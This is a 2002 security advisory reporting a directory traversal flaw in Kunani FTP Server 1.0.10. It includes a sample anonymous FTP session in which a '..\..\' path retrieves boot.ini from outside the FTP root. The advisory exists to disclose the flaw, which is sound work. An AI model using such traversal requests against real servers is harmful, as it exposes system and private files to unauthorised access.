[NT] Kunani FTP Server Vulnerable to a Directory Traversal Attack

From: support@securiteam.com
Date: 12/12/02

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Date: 12 Dec 2002 18:45:29 +0200

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      Kunani FTP Server Vulnerable to a Directory Traversal Attack
    ------------------------------------------------------------------------

    SUMMARY

    Kunani FTP Server is a free Windows based FTP Server, the product has been
    found to contain a security vulnerability that allows remote attackers to
    view files and directories outside the bounding FTP directory.

    DETAILS

    Vulnerable systems:
     * Kunani FTP Server version 1.0.10

    Example:
    ######################################################
    Verbindung mit server.
    220 Kunani FTP Server Ready ( www.kunani.com )
    Benutzer (server:(none)): anonymous
    331 Password required for anonymous.
    Kennwort: billsucks
    230 User anonymous logged in.
    Ftp> get ..\..\..\..\..\boot.ini
    200 PORT command successful
    150 Opening ASCII mode data connection for /bin/ls.
    226 Transfer complete.
    Ftp: 1337 Bytes empfangen in 0.00Sekunden 175000.00KB/Sek.
    #####################################################

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:zero-x@linuxmail.org> Zero-X
    www.lobnan.de Team.

    ========================================

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